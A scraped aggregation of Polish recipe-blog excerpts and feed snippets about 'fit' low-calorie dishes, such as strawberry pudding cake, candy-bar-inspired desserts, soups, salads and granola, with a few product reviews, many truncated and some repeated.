Szukacie prostego fit ciasta, które będzie idealne na upały? Polecam przygotować ciasto z truskawkami, budyniem i galaretką . Całość jest orzeźwiająca, najlepiej smakuje po wyjęciu z lodówki, kiedy ciasto jest zimne. Jeśli nie macie w domu budyniu bez cukru, możecie użyć z cukrem, ale pomińcie erytrytol. Drukuj Fit ciasto z truskawkami, budyniem i galaretką Przygotowanie(...)porcja z 12): Kcal: 85 | Białko: 3,5 | Węglowodany: 13,7 | Tłuszcze: 1,8 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając #przepisynawidelcu Artykuł Fit ciasto z truskawkami, budyniem i galaretką pochodzi z serwisu Przepisy na widelcu

Słodki, gęsty i bardzo kremowy Może być słodzony cukrem, miodem lub innym ulubionym słodziwem (np. ksylitolem, syropem klonowym). Osoby nie tolerujące mleka, mogą użyć mleczka kokosowego

tego jaką konsystencję sera lubimy, możemy go zblendować. Truskawki, dżem i mieszankę studencka wykładamy na serek. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Twarożek z Jogurtem i Truskawkami – Idealny Pomysł na FIT Posiłek w Ciągu Dnia pochodzi z serwisu Przepiski.pl

się przeogromnie cieszę, że FIT seria spotkała się z tak dużym zainteresowaniem z Waszej strony! To dla mnie ogromna radość, a jednocześnie niesamowita motywacja do dalszego tworzenia i dalszego działania! Największą Waszą radość zdecydowanie wzbudza seria inspirowana batonikami! Dziś kolejny z nich – znany i lubiany MAXI KING! Chrupiący wafelek przykryty serowym kremem i obficie wypełniony „karmelem(...)folię aluminiową, mocno ściskamy i wkładamy na co najmniej godzinę do lodówki. Po tym czasie obtaczamy w rozpuszczonej czekoladzie w dodatkiem posiekanych orzeszków. Chłodzimy. Smacznego! Zobacz na blogu inne FIT przepisy na pyszne słodkości

islandzkich jogurtów skyr, które są bogate w białko, dzięki dodatkowi mleka kokosowego pachnie i smakuje kokosem, jest w sam raz słodki - ale bez użycia cukru. Czyli ciacho pyszne, fit i w dodatku wysokobiałkowe.  Koniecznie zróbcie i dajcie znać, jak wyszło :)  SKŁADNIKI (na tortownicę 24 cm)  Na spód: 300 g ciasteczek owsianych (najlepiej bez cukru(...)węglowodany - 22 g błonnik - 1.2 g  Zapraszam do polubienia mojej  strony na Facebooku  oraz śledzenia na  Instagramie   Możecie też dołączyć do grupy  Kuchenne FIT Rewelacje , gdzie znajdziecie mnóstwo inspiracji na zdrowe jedzonko

obiad powstał dzisiaj dość spontanicznie, ale wyszło takie pyszne danie, że postanowiłam dodać go na bloga. Dietetyczny i niskokaloryczny posiłek, ale taki, po którym jesteśmy syci! Przy przygotowywaniu fit posiłków warto sięgać po produkty takie jak np. młoda kapusta, pieczarki mają bardzo mało kalorii a są sycące. W dobrze skomponowanym obiedzie nie może zabraknąć białka, u mnie dzisiaj(...)przykryciem 8 minut.  Dodaj przecier i przyprawy i duś bez pokrywki aż nadmiar wody odparuje, a całość będzie gęsta, a warzywa miękkie. Jeśli chciałbyś aby danie nie było fit, zjedz je z ziemniakami, dowolną kaszą lub ryżem. Przepyszne polecam

Zrobienie własnej granoli – bez chemii i cukru – jest bardzo proste. Pokażemy Ci jak to zrobić. Czas przygotowania: 5 minut Czas pieczenia : około 30 minut Liczba porcji : 12 Fit śniadanie – domowa granola Proponujemy Ci dziś nasz sprawdzony przepis na granolę . Czym się różni od innych przepisów, które możesz znaleźć w sieci? Przede wszystkim nie używamy(...)minut albo aż wierzch granoli ładnie się przypiecze (bądź czujna – granolę łatwo przypalić). Podawaj z ulubionymi owocami i jogurtem. Smacznego! Muffiny z czerstwych bułek. Artykuł Domowa granola – fit śniadanie pochodzi z serwisu Niedzielny kucharz

dopełnieniem był ten właśnie sos. Przyjemnie pikantny, jogurtowy, charakterny, koperkowy. Tak właśnie można go opisać. Dla mnie smakiem wiosny, jest właśnie sos chrzanowy. Jeśli chcesz zrobić wersję mniej “fit”, możesz dodać majonezu. Świetnie sprawdzi się klasyczny sojonez . Najlepiej jednak nie rezygnować zupełnie z jogurtu. Dodaje on pewnej lekkości sosowi. A co było w sałatce? Sałata, ogórek, rzodkiewka(...)tofu naturalne, kiełki i dzisiejszy sos 😊 Przy okazji polecam Ci fit sos czosnkowy z nerkowców . Artykuł Sos chrzanowy z jogurtem pochodzi z serwisu Blendman.pl - wegańskie przepisy

odmienić klasyczne ciasto, aby miało więcej wartości odżywczych, mniej kalorii i stało się super FIT(...)ciastem? Nic trudnego, wystarczy, że zastąpicie słabej jakości składniki zdrowszymi, wartościowymi produktami. Właśnie tak staram się zazwyczaj robić i … Artykuł Owsiane ciasto z jabłkami i orzechową kuszoną FIT pochodzi z serwisu FitSweet

około 1 cm. Piec na złoty kolor przez 25 min. Po tym czasie ciastka przełożyć na kratkę do całkowitego wystudzenia. Smacznego! Kokosowo-owsiane ciasteczka Fit Kokosowo-owsiane ciasteczka Fit Kokosowo-owsiane ciasteczka(...)Fit

zupy- zachęcam do wypróbowania mojego przepisu. Po drugie jest to zupka fit, która z powodzeniem wystarczy za dwa dania, jeśli zrobicie ją odpowiednio gęstą. WARZYWNA JAGLANKA W WERSJI FIT DIETETYCZNA ZUPA Z KASZĄ JAGLANĄ   ZDROWY OBIAD W 15 MINUT Przygotowanie zupy z kaszą jaglaną zabierze Wam około 15 minut! Więc jest to super extra szybki przepis. Większość(...)mojej rodziny gotuję w szybkowarze, jednak nie warzywna jaglankę w stylu fit. Krótki czas gotowania w zwykłym garnku na kuchni jest w tym przypadku wystarczający, a przy tym nie rozgotujemy kaszy jaglanej. PRZYGOTOWANIE ZUPY Z KASZĄ JAGLANĄ Warzywa obieramy i zcieramy na tarce i wrzucamy do garnka wraz z kawałkiem kapusty wraz z całą cebulą i przyprawami, zalewając

Dziś mam dla Was prawdziwą petardę i coraz więcej takich petard inspirowanych znanymi batonikami będzie pojawiało się na blogu. Przygotowałam dla Was FIT przepis na przepyszny omlet. Omlet, który można podać również jako mini torcik. Podawać jako mini torcik, a zarazem sprawić, że goście będą nie tylko zachwyceni smakiem, ale i zaskoczeni po tym, jak powiecie(...)Mleczna Kanapka z Kinder Pingui karmelowym. Nie ważne! Ważny jest smak! A w tym przypadku będzie się oblizywał po tym każdy łasuch! Ta jak mówiłam – jest to wersja FIT. Nie zawiera białego cukru ani białej, pszennej mąki. Nie zawiera też dodatku tłuszczu i jest wysokobiałkowy . SKŁADNIKI: ( 18 cm ) 2 OMLETY: * mąka pełnoziarnista lub gryczana – 4 łyżki ( można

Fit słodkości... Kto ich nie lubi?  Batoniki orzechowe bez oleju kokosowego. Jest to świetna opcja dla osób uwielbiających orzechy/ masło orzechowe.  Powyższa wersja batoników z pewnością zaspokoi Twoje zmysły, zadowoli kubki smakowe ale to nie wszystko! Również doda energii. Czy lubisz bardzo orzechy i mógłbyś/aś jeść je bardzo często? To zdecydowanie idealna wersja batoników

trudne to bycie medialnym jeżeli robi się coś ot tak jako hobby po pracy. Dobra koniec marudzenia. Milkshake nie jest może fit, jednak nie zawsze trzeba jeść koktajle fit. O ile czekoladowy koktajl mleczny nie jest fit to jest z pewnością fast no i pewnie trochę fat :-), jednak są takie dni w życiu każdego człowieka kiedy można

Obecnie świadomość wpływu zdrowego odżywiania na ludzki organizm jest coraz większa – ludzie coraz chętniej weryfikują jakość spożywanych posiłków i pragną, aby dostarczały im one zbilansowanych wartości

pewno nie nazwę, jest to raczej pomysł na przepyszną fit - przekąskę, która pokochacie od pierwszego kęsa 💗 Świeże, chrupiące wafle ryżowe posmarowane grubą warstwą (nooo dobra, w wersji fit "średniogrubą... 😉 ) masła orzechowego w dwóch wersjach smakowych... Jedna z musem malinowym, gęstym, pysznie owocowym, słodzonym miodem (lub innym słodziłem jakie lubicie), a druga z plastrami bananów i wiórkami kokosowymi(...)domowe masło, do którego przygotowania potrzebujecie tylko 1 składnik - orzeszki ziemne - i malakser. TUTAJ znajdziecie przepis ( wybaczcie jakość zdjęć, ale dopiero zaczynałam swoją przygodę  z fotografią 😂 ...)  Taka fit przekąska nada się idealnie również na podwieczorek albo na kolację. Wafle możecie schrupać także zamiast niezdrowych chipsów przed telewizorem podczas oglądania ulubionego serialu... Ooo właśnie! I taki jest mój

smaku Kinder Country bardzo Wam zasmakował. Dlatego dzisiaj chciałabym się z Wami podzielić kolejnym przepisem inspirowanym kultowym batonem, tym razem Snickersem. FIT Snickers w słoiku to … Artykuł FIT Snickers w słoiku pochodzi z serwisu FitSweet

Sałatka z dorszem w wersji fit. Bardzo prosta ziemniaczana sałatka z rybą, przy tym zdrowa(...)zawierająca mało kalorii. Niby niepozorna, a jednak bardzo smaczna. Taka prosta sałatka, wymyślona na szybko, a tak efektowna, że można ją podać na wykwintną kolację. U mnie jako fit obiad podczas diety. Według mnie to idealna propozycja posiłku podczas odchudzania. Skuście się, a nie będziecie żałować. Prostota rządzi w naszej kuchni Polecam też inne przepisy na sałatki z rybą

SKŁADNIKI:  na dużą blachę (21x38 ) Masa ciemna/ "fit kajmak": - rodzynki (300 g) 1 i 1/2 szklanki - Masło orzechowe (250 g) 1 szklanka - miód pszczeli - (50 g) 2 łyżki - kakao (11 g) - olej kokosowy - (30 g) - woda - 1 szklanka Masa jasna/ budyń jaglany: - mleko (u mnie 1,5%) (1200 ml) 1L i 3/4 szklanki - kasza jaglana (400 g) - miód

moczenia daktyli. Użyjcie orzeszków ziemnych solonych. Jeśli akurat macie tylko niesolone, nic nie szkodzi. Posypcie tak zwany karmel z daktyli odrobiną soli po wierzchu i dopiero rozrzućcie orzeszki. Więcej fit słodkich przepisów na płatki owsiane: Domowe batony owsiane z masłem orzechowym Orzechowo-białkowe batony bez pieczenia Najłatwiejsze ciasteczka daktylowe bez pieczenia Zdrowe dyniowe kulki mocy Artykuł Zdrowe(...)Fit batony „Snickers” pochodzi z serwisu Słodkie Gotowanie

koniec dodajemy odsączoną kukurydzę i fasolkę czerwoną. Doprawiamy do smaku. [caption id="attachment_8574" align="aligncenter" width="1024"] Ryż po meksykańsku[/caption]   Zobacz inne przepisy na lekki obiad: Fit(...)Kotlety Rybne Z Kaszą Jaglaną Kaszotto Z Warzywami (300 Kcal) Spaghetti Z Cukinii Z Kurczakiem Dietetyczne Placuszki Z Kalafiora Wegetariański Gulasz Warzywny Kasza Owsiana Z Warzywami – Obiad Wegański I Fit (450 Kcal) Artykuł Ryż po meksykańsku (wege i fit) pochodzi z serwisu e-PrzepisyKulinarne.pl

kolejny FIT deser w słoiku, tym razem inspirowany popularnym batonikiem Kinder Country. Aksamitnie kremowy z chrupiącym zbożowym akcentem i polany aromatyczną gorzką czekoladą 🤗 Co więcej, mimo … Artykuł FIT Kinder Country w słoiku pochodzi z serwisu FitSweet

Spodziewałam się kolejnego poradnika z przepisami jakich widziałam już wiele, tymczasem autorka postarała się by było ciekawie i oryginalnie, a przede wszystkim pysznie. Nie wszystkie przepisy są stu procentowo fit, zatem maniacy liczenia kalorii i zamieniania każdego grama cukru, masła i białej mąki będą odrobinę rozczarowani. Jest za to tak jak ja lubię najbardziej i jak staram się robić(...)stracić smaku i jednocześnie otrzymać zdrowszą wersję ciasta, deseru, a nawet tortu. Ciekawa jestem jak to wyjdzie praktyce, a ponieważ zamierzam osobiście wypróbować kilka przepisów m.in. na fit tort kokosowo jaglany z czekoladą, wybuchowy blok czekoladowy na bogato, czy ciasto miodowo serowe z praliną słonecznikową to z pewnością Was o tym poinformuję. Już wiem, że pierwszy ogień pójdzie ciasto

cukry – 12,8g, błonnik – 5,2g, białko – 10,1g, sól – 0,1g Informacje dodatkowe: bez oleju palmowego, może zawierać orzeszki ziemne, mleko, orzechy i sezam. Sklep:   sklep feel Fit Cena: 5,99 zł Nasza opinia Wygląd: Granola zapakowana jest w plastikowych pudełkach, które od razu mogą nam posłużyć jako naczynie. Dlatego jest to fajna opcja na wyjazd, gdzie(...)spora ale gdyby cukier wymienić na zdrowszy zamiennik jak ksylitol czy erytrytol to byłoby znacznie lepiej. Generalnie uproszczony skład byłby tutaj bardziej na plus. Kluseczki straciatella z granolą Feel Fit (przepis niebawem na IG) Kakao i tahini Ocena: 4,5 pandy Len i miód Ocena: 4 pandy

galette, to ciasto z dużą ilością słodkich, soczystych owoców ułożonych na cienkim, rozpływającym się w ustach cieście z oryginalnym ziołowym akcentem. Course FIT deser Keyword brzoskwienie, cukeir kokosowy, fit deser, mąka orkiszowa, mąka pełnoziarnista, masło orzechowe, mielone migdały, migdały, tarta Prep Time 1 hour 10 minutes Cook Time 35 minutes Total Time 1 hour 45 minutes Servings

Kalafior to bardzo uniwersalne warzywo, z którego możemy przygotować wiele dań. Można go jeść na surowo, jednak my polecamy bardziej wykwintne posiłki, które idealnie nadają się

Dietetyczny kurczak z cukinią i brokułami – czyli szybki i prosty obiad w stylu fit ;) Jego wielką zaletą jest nie tylko mała kaloryczność i lekkość, ale również to, że łatwo go spakować do pudełka i odgrzać w pracy, a w spartańskich warunkach The post Dietetyczny kurczak z cukinią i brokułami appeared first on KulinarnePrzeboje.pl

Fit ciasteczka owsiane z masłem orzechowym i bananami(...)propozycja na pyszne ciasteczka bez użycia jajek. Poniższe składniki wystarczą na zrobienie ok. 10 sztuk. Polecam również inne ciasteczka owsiane, na które przepis znajdziecie tutaj: Ch The post Fit ciasteczka owsiane z masłem orzechowym i bananami appeared first on KulinarnePrzeboje.pl

Ostatnio były babeczki czekoladowe z malinami, a dziś są FIT OWSIANE BABECZKI.. Również z malinami 🤤❤️ Trochę wracam do tych bardziej "fit" przepisów bo ostatnio na tapecie było dużo mascarpone, bez i czekolady. A, że fit to nie znaczy, że niesmacznie! A wręcz przeciwnie. Są pyszne, lekkie i baaaardzo zdrowe! Składniki na ok. 10 babeczek : 1 szkl

przepis tutaj ) lub upiec w piekarniku i oblać czekoladą. Najpyszniejsze są oblane mleczną czekoladą i taką my wolimy (z racji tego, że batony są mało słodkie), ale bardziej fit będzie czekolada gorzka. Dlatego dobierzcie rodzaj czekolady wedle Waszego uznania. Jeśli wybierzecie czekoladę gorzką, polecam bardziej dosłodzić masę na batony. Gotowe batony przechowywać w lodówce i spożyć w ciagu(...)post Fit batony owsiane z bakaliami i masłem orzechowym appeared first on Moja Delicja

Dziś coś na szybko, coś fit czyli ekspresowa fit pomidorowa. Inspiracją był przepis z programu przepis na zdrowie. Przyznam, że za pierwszym razem zjadłam tę zupę z apetytem ale za drugim już było ciężko bo zupa nie ma soli ani pieprzu a co za tym idzie nie w moich klimatach. Ale mimo to wrzucam przepis bo może przypadnie(...)bardzo dbającym o figurę a wtedy na pewno przypadnie im do gustu bo według autorki przepisu pomaga walczyć z nadmiernymi kilogramami. Przepis powstał przy współpracy z Kuchnie Świata . Ekspresowa fit pomidorowa

ulubione owoce w małych kawałkach - ja dodałam maliny i borówki - drożdżówki posyp kruszonką - piec w piekarniku nagrzanym do 180 stopni przez ok. 30 minut, aż się zarumienią.  SMACZNEGO! Fit drożdżówki z owocami i kruszonką sprawdzą się na każdą okazję. Na urodziny, imieniny, piknik a nawet wesele! Czy byście nie sięgnęli podczas wesela ze słodkiego stołu takiej apetycznej, mini(...)fit drożdżówki z owocami i kruszonką do kawy? Oczywiście, że tak! Obecnie są rozmaite trendy ślubne i coraz więcej przygotowań, które wybiera się nawet 2 lata przed uroczystością... Od wyboru sali, auta, pleneru po dekoracje, suknię, garnitur a nawet kolczyki ślubne - tak, tak - detale najważniejsze! Zatem nie krępujcie się, pieczcie drożdżówki na rozmaite okazje i delektujcie się tym niepowtarzalnym

początek weekendu, szczególnie jeśli planujecie jakiś większy większy wysiłek fizyczny czy trening. Smacznego! Polecam również: Domowa quesadilla z kurczakiem na ostro Omlet z twarożkiem – fit śniadanie na słono Fit pancakes na bazie płatków owsianych Trudność Początkujący Czas przygotowania 10 min. Czas gotowania 10 min. Całkowity czas 20 min. USTAW TIMER SKŁADNIKI (ILOŚĆ NA 1 PORCJĘ)   2 jajka

Pomyślałam sobie, że przecież mazurek to taki typ słodkości, który musi być słodki i kaloryczny bo taka jego natura. Owszem, jest sporo przepisów, zwłaszcza tych wegańskich, które spełniają miano fit wypieków (bez jajek, masła czy cukru) z ksylitolem czy olejem kokosowym, lecz chciałam, aby przepis był dla każdego z ogólnodostępnych składników. Postanowiłam zatem przygotować tradycyjny mazurek, używając zdrowszych zamienników(...)już niczym jej nie dosładzałam, przez co masa jest nieco wytrawna. Rolę słodzącą świetnie spełniają tutaj bakalie. Jakich użyjecie zależy tylko od Was. W ten oto sposób powstał mój fit mazurek. Mam nadzieję, że przypadnie Wam do gustu taka wersja :) Blaszka 20x30 cm Składniki: Ciasto kruche: 300 g mąki orkiszowej 150 g zimnego masła 4 łyżki miodu 1 jajko

początek weekendu, szczególnie jeśli planujecie jakiś większy większy wysiłek fizyczny czy trening. Smacznego! Polecam również: Domowa quesadilla z kurczakiem na ostro Omlet z twarożkiem – fit śniadanie na słono Fit pancakes na bazie płatków owsianych Trudność Początkujący Czas przygotowania 10 min. Czas gotowania 10 min. Całkowity czas 20 min. USTAW TIMER SKŁADNIKI (ILOŚĆ NA 1 PORCJĘ)   2 jajka

trudne to bycie medialnym jeżeli robi się coś ot tak jako hobby po pracy. Dobra koniec marudzenia. Milkshake nie jest może fit, jednak nie zawsze trzeba jeść koktajle fit. O ile czekoladowy koktajl mleczny nie jest fit to jest z pewnością fast no i pewnie trochę fat :-), jednak są takie dni w życiu każdego człowieka kiedy można

Właściwie to nie jest tak, że jak jesz sałatki to jesteś fit. Możesz jeść na przykład sałatki z boczkiem i nie być fit, ale jeść dużo warzyw i jakby głaskać fit życie, ocierać się o nie.  Sałatka dla tych co lubią dobrze i prawie zdrowo sobie zjeść. Ale przede wszystkim smacznie., Na drugim miejscu dopiero zdrowo

związku z tym używamy, go o blisko 30% mniej! Użyłam go między innymi do przygotowania omletu z owocami, placków z jabłkami, czy domowych fit michałków. Pyszności! Do przygotowania fit michałków użyłam także mleka kokosowego w proszku , które z kolei konsystencją przypomina mleko w proszku. Podobnie, jak zwykłe mleko w proszku, jest to produkt dość kaloryczny, ale zapach(...)wody otrzymamy szklankę mleka kokosowego. Ja jednak wolę dodawać go do różnych dań - do kawy kokosowej, pomidorowego gulaszu (świetnie zagęszcza sos i nadaje mu lekko słodki, kokosowy smak), czy fit słodyczy. Zachęcam do odwiedzenia sklepu, znajdziecie tam mnóstwo fantastycznych produktów

Fit sałatka z kaszą kuskus i jajkiem Pyszna i niskokaloryczna sałatka, która może stanowić zdrowe śniadanie lub kolację. Porcja sałatki wykonana z niżej wymienionych składników zawiera około 220 kalorii, więc jest idealnym posiłkiem dla osób będących na diecie. Polecam!     Składniki: 1 jajko 50g przygotowanej kaszy kuskus garść sałaty lodowej 1/4 papryki (użyłam żółtej i czerwonej) 1/2 zielonego(...)drobno kroimy *** *** Ogórka oraz oliwki kroimy na kawałki *** *** Kaszę kuskus mieszamy z jogurtem *** *** Do kaszy dodajemy wszystkie warzywa oraz jajko, mieszamy i przyprawiamy delikatnie solą oraz pieprzem *** *** SMACZNEGO *** Artykuł Fit sałatka z kaszą kuskus i jajkiem pochodzi z serwisu Blog z apetytem

tego słodzone są znanymi nam substancjami słodzącymi jak ksylitol fiński i stewia. Zobaczmy czy smak również będzie przekonujący.     Nazwa: Koktajl białkowy wanilia i truskawka Firma: Eco&Fit Skład: Wanilia – izolat białka serwatkowego – z mleka, ksylitol fiński – substancja słodząca, liofilizowana truskawki w proszku, naturalny aromat truskawkowy, naturalny aromat śmietankowy, nierafinowana sól morska, glikozydy stewiolowe – substancja słodząca. Truskawka(...)cukry – 0,37g, białko – 24,19g, sól – 0,15g Informacje dodatkowe: Niska zawartość laktozy, bez glutenu, bez barwników, bez sztucznych słodzików i sztucznych aromatów. Sklep:   Sklep eco&fit Cena: 79 zł Nasza opinia Wygląd: Koktajle znajdują się w poręcznych plastikowych puszkach, do nich dołączona jest miarka odmierzająca nam porcję produktu. Całe opakowanie wypełnione po brzegi jest proszkiem

Projekt Zdrowie, w której mam przyjemność pracować jako dietetyk stworzyłam przepis na pierwsze, jedyne w sieci fit pierniczki, które możesz przygotować na patelni! Jest to innowacyjny przepis, nowoczesny, fit i jedyny taki w Internetach,  Pierniczki są miękkie, smaczne i dietetyczne. A co najważniejsze przepis jest unikatowy i pierwszy taki stworzony specjalnie dla Was.  Przepis(...)fit pierniczki z patelni (15 sztuk)  150 g mąki orkiszowej  1 żółtko  50 g masła  50 g jogurtu greckiego  szczypta soli  2 łyżki stewii  1 łyżeczka kakao  1 łyżeczka przyprawy do piernika  szczypta imbiru  50 g deserowej czekolady Do miski wsyp mąkę, imbir, kakao, sól, stewię i przyprawę

przecież jesteśmy w tłumnej galerii, ale jednak udało się choć trochę odseparować i psychicznie odsapnąć ;) Intrygującą ofertę kawiarni stanowi "fit-ścianka" - pełna zdrowych składników w postaci koktajli proteinowych , fit-ciast , czy niskokalorycznych pralinek ( swoista "perełka" i duma lokalu! ). Słodycze bez cukru ? - tutaj to możliwe! :) Z myślą o gościach aktywnie uprawiających sporty , powstało m.in. menu shejków opartych o zbilansowane(...)przed treningiem, lub zregenerować się tuż po nim. Idei tej przyświeca patronat trenera personalnego: Ewy Zapędowskiej , która ( jak dowiedziałam się od właścicielki lokalu ) miała swój udział w tworzeniu tego fit-menu . Za barem sympatyczna i kompetentna ekipa . Wielce przyjemnie było składać zamówienie u uroczo uśmiechającej się pani, która z anielską cierpliwością wyłuszczała tajniki oferowanych ciast i trunków ;)  Choć

Lekki, bardzo truskawkowy, cudownie orzeźwiający sernik na letnie, upalne popołudnie. Kolejna zdrowsza, fit wersja słodkiego deseru, który sprawi, że Wasza chwila przyjemności nie zakończy się wyrzutami sumienia. Jak to możliwe? Moja tajna broń to owoce… dużo świeżych owoców, nie jako dodatek, ale jako jeden z głównych składników. Aromatyczne owoce wzbogacą smak naszego deseru, dosłodzą i sprawią(...)będzie zawierał więcej wartościowych składników. Po drugie serek twarogowy czyli białko, a białko to budulec, dzięki niemu nasz organizm prawidłowo się regeneruje. Po trzecie, kwestia często pomijanego w fit sernikach spodu. Nie zawsze jest to dobry kierunek, ponieważ cienki owsiano-kokosowy spód to źródło energii, błonnika oraz dobrego tłuszczu i bosko smakuje. Na koniec warto pomyśleć o zdrowszej alternatywie

Wszak nic tak nie podnosi na duchu jak dobry deser i czekolada. Jednak słońce wróci, a tym samym nienaganna figura znowu się przyda, dlatego ratunkiem może okazać się zdrowsze, FIT brownie, które zaspokoi potrzebę słodkości i nie zrujnuje wakacyjnej sylwetki. Jeden kawałek mojego bananowego brownie to około 150 kcal, tymczasem kawałek tradycyjnego brownie to nawet ponad 400 kcal. Robi(...)papierem do pieczenia, wyrównać, a na wierzchu ułożyć plasterki banana. 6) Piec 25-30 min. w piekarniku nagrzanym do 180 stopni. Artykuł Najlepsze brownie bananowe bez mąki. Ciasto czekoladowe FIT. pochodzi z serwisu FitSweet

Ciasto bez mąki?  Bez cukru spożywczego? Czy tak się da? OCZYWIŚCIE że tak Sama nazwa może odstraszać "fasolowe" jednak.... niebo w gębie, nawet nie czuć fasoli. Smak pysznego Fit deseru.  Składniki: -fasola biała ugotowana (500 g)/ przed gotowaniem 200 g - kakao ½ szklanki (50 g) - jaja 3 szt. - banan 3 szt. - rodzynki 200 g - proszek do pieczenia

MORE musli skoncentrowanych w tubie DIET FOOD bezglutenowy makaron spaghetti zero kalorii LUXURY Makaron z fasoli lub ciecierzycy NATURAVENA Masło orzechowe kremowe SOLEVITA Napój chia 1. Sante Fit Pełnoziarniste płatki zbożowe truskawka, malina, wiśnia 3,99/225 g (Tesco) Składniki : Płatki zbożowe z pełnego ziarna 96,5% (jęczmienne, ryżowe), owoce liofilizowane 2,2% (wiśnia, truskawka, malina), zagęszczone soki owocowe(...)sycą dużo słabiej niż świeże – jeśli chcemy się najeść, garść truskawek będzie lepszym wyborem niż łyżka suszonych owoców (co jest szczególnie istotne na diecie redukcyjnej) wielki napis „FIT” może niektórym sugerować, że to produkt którym można objadać się bez opamiętania, bez zwracania uwagi na kaloryczność opakowanie szybko się gniecie, nie wygląda estetycznie Lubię ten produkt, chętnie

Ciasto bez mąki?  Bez cukru spożywczego? Czy tak się da? OCZYWIŚCIE że tak Sama nazwa może odstraszać "fasolowe" jednak.... niebo w gębie, nawet nie czuć fasoli. Smak pysznego Fit deseru.  Składniki: -fasola biała ugotowana (500 g)/ przed gotowaniem 200 g - kakao ½ szklanki (50 g) - jaja 3 szt. - banan 3 szt. - rodzynki 200 g - proszek do pieczenia

sobie zawiera sporą ilość białka, pochodzącego z twarogu i jaj, jednak postanowiłam nieco zwiększyć zawartość tego makroskładnika przez dodanie odżywki białkowej. Odżywka nie tylko zwiększa ilość białka w tym "fit" przysmaku ale również nadaje mu słodkiego smaku, przez co można wyeliminować dodanie do niego cukru. Aby urozmaicić smak i wygląd dodałam rodzynki i brzoskwinie.  Czy to można spożywać

Krem z pomidorów z kurczakiem i makaronem – FIT OBIAD! Bardzo smaczna i dietetyczna kremowa zupa z pomidorów. Porcja kremu pomidorowego zawierająca 100g gotowanego filetu z kurczaka i 100g makaronu razowego (zważony po ugotowaniu) to tylko około 400 kalorii, a do tego taka zupka to przecież samo zdrowie!     Składniki na dwie porcje: 200g filetu z kurczaka(...)Resztę zupy blendujemy na gładki krem *** *** Mięso kroimy w kosteczkę i dokładamy do zupy. Podajemy z makaronem razowym *** *** SMACZNEGO ***   Artykuł Krem z pomidorów z kurczakiem i makaronem – FIT OBIAD! pochodzi z serwisu Blog z apetytem

Wszak nic tak nie podnosi na duchu jak dobry deser i czekolada. Jednak słońce wróci, a tym samym nienaganna figura znowu się przyda, dlatego ratunkiem może okazać się zdrowsze, FIT brownie, które zaspokoi potrzebę słodkości i nie zrujnuje wakacyjnej sylwetki. Jeden kawałek mojego bananowego brownie to około 150 kcal, tymczasem kawałek tradycyjnego brownie to nawet ponad 400 kcal. Robi(...)papierem do pieczenia, wyrównać, a na wierzchu ułożyć plasterki banana. 6) Piec 25-30 min. w piekarniku nagrzanym do 180 stopni. Artykuł Najlepsze brownie bananowe bez mąki. Ciasto czekoladowe FIT. pochodzi z serwisu FitSweet

żurawinowy spód i chłodzimy w lodówce ok 3h. Swój sernik posypałam sezamem by jeszcze lepiej wyglądał.   SMACZNEGO. Jeśli szukasz innych przepisów na fit sernik polecam wykorzystać ten: FIT SERNIK Z SERKÓW WIEJSKICH Pyszności Artykuł ZIELONY SERNIK Z DODATKIEM AWOKADO pochodzi z serwisu Jemy i nie tyjemy. Kuchnia według Sylwii

indywidualną porcję. Ja z kolei przepadam za orkiszowym ciastem jogurtowym z truskawkami , prostym wypiekiem, który lubię podjadać w przerwie od pracy. A który deser Wam najbardziej przypadł do gustu? :) Fit clafoutis z czereśniami w kokilkach Składniki / na 4 porcje: 2 jajka 1/2 szklanki mleka, u mnie ryżowego 125 g jogurtu greckiego 2/3 szklanki mąki pszennej pełnoziarnistej 1/3 szklanki ksylitolu(...)łyżeczka ekstraktu z wanilii 200 g wypestkowanych czereśni (lub wiśni, malin, truskawek) do posypania odrobina cukru pudru lub np. stewii w pudrze Przygotowanie fit clafoutis z czereśniami: Piekarnik rozgrzej do 180 stopni C. Posmaruj 4 kokilki masłem lub oliwą o delikatnym smaku.  W misce umieść wszystkie składniki oprócz czereśni i zmiksuj na jednolite, dość rzadkie ciasto. Nalej ciasto

szybki przepis na cienką i smaczną wersję orkiszową z mąki pełnoziarnistej. Takie połączenie twarogu z naturalnym, truskawkowym sosem to prawdziwy kulinarny foodporn Naleśniki orkiszowe z serem i truskawkami – fit, bez cukru Ciasto naleśnikowe: około 10 sztuk 2 jajka szczypta soli 1 łyżka ksylitolu lub erytrytolu 1 szklanka mąki orkiszowej pełnoziarnistej 1 szklanka mleka (u mnie bez laktozy(...)natłuszczonej masłem klarowanym. Truskawki zblendować (można dodać trochę ksylitolu dla uzyskania odpowiedniej słodyczy sosu). Polać przygotowane naleśniki i udekorować świeżymi truskawkami. Artykuł Naleśniki orkiszowe z serem i truskawkami – fit, bez cukru pochodzi z serwisu Fitkot

nastała moda na bycie zdrowym i fit, to te hasła stały się żyłą złota. Na jakie produkty więc uważać, żeby pod przykrywką wielkiego napisu na opakowaniu „FIT” czy „ZDROWE” nie dać się zrobić trąbę? Oto lista: Jogurty owocowe / activie / „mleczne” dania gotowe / danonki / produkty typu „light” za to ostatnie najchętniej urwałabym producentowi głowę gdzieś przy końcu(...)radzi sobie z nimi kwas l-askorbinowy (czysty, do oznaczania). Niemniej jednak orzechy, migdały, zboża, fistaszki należy kupować od sprawdzonych dostawców. Takie, aby nie były zleżałe, ani zjełczałe. Batoniki fit Pojawiło się ich ostatnio mnóstwo. Nie wszystkie to zło wcielone, gdyż są takie, które składowo są „czyste”. Jednak w przypadku tych z suszonych owoców do głosu dochodzi niestety również

Lekki, bardzo truskawkowy, cudownie orzeźwiający sernik na letnie, upalne popołudnie. Kolejna zdrowa, fit wersja słodkiego deseru, który sprawi, że Wasza chwila przyjemności nie zakończy się wyrzutami sumienia. Jak to możliwe? Moja tajna broń to owoce… dużo świeżych owoców, nie jako dodatek, ale jako jeden z głównych składników. Aromatyczne owoce wzbogacą smak naszego deseru, dosłodzą i sprawią(...)będzie zawierał więcej wartościowych składników. Po drugie serek twarogowy czyli białko, a białko to budulec, dzięki niemu nasz organizm prawidłowo się regeneruje. Po trzecie, kwestia często pomijanego w fit sernikach spodu. Nie zawsze jest to dobry kierunek, ponieważ cienki owsiano-kokosowy spód to źródło energii, błonnika oraz dobrego tłuszczu i bosko smakuje. Na koniec warto pomyśleć o zdrowszej alternatywie

